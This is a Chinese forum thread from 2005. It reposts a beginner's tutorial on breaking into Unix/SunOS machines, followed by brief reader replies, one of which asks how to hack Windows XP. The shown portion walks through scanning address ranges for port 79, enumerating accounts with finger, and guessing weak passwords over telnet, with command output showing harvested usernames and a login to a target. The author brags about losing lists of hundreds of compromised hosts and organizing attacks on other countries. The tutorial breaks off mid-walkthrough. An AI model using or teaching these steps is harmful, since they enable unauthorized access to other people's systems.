作者: 千與千尋 时间: 2005-4-3 01:19 标题: 一步一步跟我学unix入侵

作者：Lion 　曾经的：http://www.cnhonker.com 编者：经常有朋友说想学linux入侵，却无从下手．这个文章应该是讲linux初级入侵最经典的文章了，推荐大家看看． 1 作者序言：本来很久以前说要写篇sunos 入侵教程的，但一直都没空，也没兴趣写。说到就要做到。今天有点无聊的感觉，写点东西吧。不过，这是我的最后一篇入侵教程。黑来黑去有什么意思呢，我觉得还是写些技术分析的文章好些。希望新手们看了我的这最后一篇入侵教程，能找到一些感觉。这只是一篇写给新手的入门教程，不是新手的免看。 ***请不要入侵和破坏国内的网络*** 说明：因为某些原因，把涉及到的IP全部换成了192.168.0.* 下面是所用到的系统列表的说明: 192.168.0.1　　　　Windows 2000 advanced server 192.168.0.2 　　　　Solaris 7 sparc , gcc 192.168.0.3 　　　　Solaris 5.6 sparc 192.168.0.4 　　　　Solaris 8 sparc 192.168.0.10　　　　 irix 6.5.8 192.168.0.20　　　　 redhat 6.2 注：Solaris 也就是Sun os，他们的转换是： Solaris 8 = Sunos 5.8,Solaris 7 = Sunos 5.7,Solaris 2.6 =Sunos 5.6,Solaris 2.5 =Sunos 5.5... （你使用的平台最好为NT\Win2000\Linux\Unix，这里我用的是Win2000 ,192.168.0.1）约定：文章里面的"(***文字***)"是对该行命令或信息的一些说明。所用到的工具为： SuperScan 3.0 http://www.cnhonker.com/tmp/SuperScan.zip SecureCRT 3.3 http://www.cnhonker.com/tmp/SecureCRT3.3.zip 里面所用到的有些程序代码请到http://lsd-pl.net/ 或 http://www.hack.co.za 查找。入侵故事的开始我喜欢把肉鸡列表放在桌面上，而每次重装系统总是会忘记备份桌面上的东西。记得有次重装系统丢了500多台各种肉鸡的列表，有时候想起来就觉得心痛，真可惜啊。 M$的东西真是破兼可恶，又一次重装系统完毕，我再一次丢了列表。幸好，这次的肉鸡不算多，但是我的Gcc，又得重新找，可怜啊。如果不是这次重装系统，可能这篇教程也不会写了吧。花点时间找几台机器吧，没机器用可不行啊。你也跟着我来找找吧。土办法，要获得第一个帐号，最简单的就是用finger 了。（其实，厚着脸皮向人要是最简单的办法。：））扫网段端口用什么好呢，给大家一个介绍。SuperScan 3.0 大家可以在http://www.cnhonker.com/tmp/SuperScan.zip 得到我亲自汉化的3.0版本。（ps: 有幸与小榕成为同事，得到了一个特殊版本的流光。这里顺便也为他的流光做做广告，我觉得流光对新手来说，流光是最好的工具了。记得去年9月份自己刚开始学习NT/Win2000的攻击的时候，就常用流光来扫网段，有人说 lion=只会用流光的家伙，呵呵J其实我已经很久没用过流光了，就是去年9,10月份比较常用些。现在我对新版本的流光感觉很好，功能很多，里面的很多功能都很不错，特别是finger 探测和猜解，很适合新手使用，大家不妨试试。最新版本的流光可以在小榕的网站获得：http://www.netxeyes.com 很多人对我的个人情况感兴趣，在这里也顺便说一下我个人的成长经历吧，看了大家别笑哦，其实是这样的： 2000年3月8日到广州实习，开始上网，开始学用IE，用email收发信件； 4月建立了个人网站，当时还只会用木马； 5月学习Sunos 系统的攻击，当时对提升权限等还一窍不通，不过这个月份我发现了www.elong.com的邮件系统绕过口令验证的严重漏洞； 6月回学校毕业答辩； 7月在广州开始专职搞网页设计； 8月对Sunos 系统攻击有了一定的了解； 9月换了家公司，安装了自己的第一个win2000，并学习使用和尝试攻击； 10月专职于网络安全工作； 11月初碰linux，当时也在学习各种攻击手段和各种系统的攻击方法； 12月建立红客联盟网站。 2001年1月回家过春节； 2月组织攻击日本； 3月慢慢对攻击系统失去了兴趣； 4月在考虑很多东西； 5月组织对美网络反击战，结束后北上北京； 6月枯燥无味的一个月； 7月已经或者将要做几个大的决定。送给各位网友两句话： "人要靠自己" "我就是我" 其实这两句话也就是我的全部。）发了一通牢骚，开始我们的学习历程吧。哦，慢着，新手们先去看看我几个月前写的三篇UNIX入侵教程，看完了再继续。准备好了吗？让我们来揭开UNIX神秘的面纱... come on baby... 第一天：好不容易等到下班。:( 打开SuperScan 3.0，（列表文件没找到错误,可以点击端口设置,再选导入，选好此软件目录里的scanner..lst ，点击完成。）在IP栏中输入你要扫描的网段，建议每次扫描在10个C段以内，在扫描类型中选中"显示主机的响应"一栏，如果你的网速慢，把"只扫描能ping的主机"也打上勾，选中"所有端口从"那个单选项，然后在框里输入开始和结束的端口，这里都填"79"，也就是finger的端口，最后点"开始"进行扫描。扫描完成后，点"剪除"去掉没开79端口的主机列表，点"散开"或者点"保存"把结果存为文本文件以便分析扫描结果。我们通常可以看到如下几种常见的主机响应： 1. ... Line User Host(s) Idle Location.. 2. No one logged on. 3. Login Name TTY Idle When Where.. 4. 其他响应消息或者没有内容。其中，我们只把2,3这两种的机器找出来。现在我们开始手工找机器，或者用流光探测finger。手工找其实也有窍门的，但很难说清楚，这里就一律用 finger 0@ip 来找SunOS的薄弱机器。下面的IP都用xxx.xxx.xxx.xxx代替。 -------------------------------------------------test-------------------------------------------------------------- C:\>finger 0@xxx.xxx.xxx.xxx [xxx.xxx.xxx.xxx] finger: 0: no such user. -------------------------------------------------test-------------------------------------------------------------- 失败，这个系统应该是linux，别灰心，我们继续找。 -------------------------------------------------test-------------------------------------------------------------- C:\>finger 0@xxx.xxx.xxx.xxx [xxx.xxx.xxx.xxx] Login Name TTY Idle When Where daemon ??? bin ??? sys ??? jeffrey ??? pts/0 203.66.149.11 daniel ??? 437 114cm.kcable. jamie ??? 0 203.66.162.68 postgres ??? pts/2 203.66.162.80 nsadmin ??? 768 203.66.19.50 ho ??? 390 61.169.209.106 house18 ??? pts/1 203.66.250.1 tong ??? pts/0 210.226. 42.69 jliu ??? pts/0 203.66.52.87 ptai ??? -------------------------------------------------test-------------------------------------------------------------- 我们需要的就是这种，：）其中，第一列的jeffrey,Daniel,Jamie,postgres等就是这个主机上的用户名，其他的内容都是一些用户的登陆信息。现在，我们来测试一下这些帐号的密码强度。（大家最好利用这些用户和一些密码猜解的工具配合来做，不然会感到厌倦的，不过我以前特别喜欢猜： test:test oracle:oracle ....猜密码的感觉还不错。） -------------------------------------------------test-------------------------------------------------------------- C:\>telnet xxx.xxx.xxx.xxx SunOS 5.6 （***目标系统是SunOS 5.6 也就是Solaris 2.6***） login: ptai （***输入用户名***） Password: **** （***输入密码***） Login incorrect （***登陆失败***） login: jliu Password: Login incorrect $ login: tong Password: Last login: Mon Jul 2 13:21:55 from 210.226. 42.69 （***这个用户上次登陆时的IP***） Sun Microsystems Inc.

哎，都太深了。要好好学学才行啊。

可以自己装个LINUX 系统~~ 虚拟机就可以~~ 学起来方便

作者: 所谓伊人 时间: 2005-4-3 15:03 标题: 一步一步跟我学unix入侵

unix系统一点也不熟悉，没接触过
过一段没什么事了真的好好学习学习了！
千，辛苦了！

作者: huajinli 时间: 2005-4-4 00:38 标题: 一步一步跟我学unix入侵

unix系统没用过，用这个系统的人也很少很少，不过还是顶
能不能教一下怎么入侵XP，谢谢`XP的安全性很高，请指教
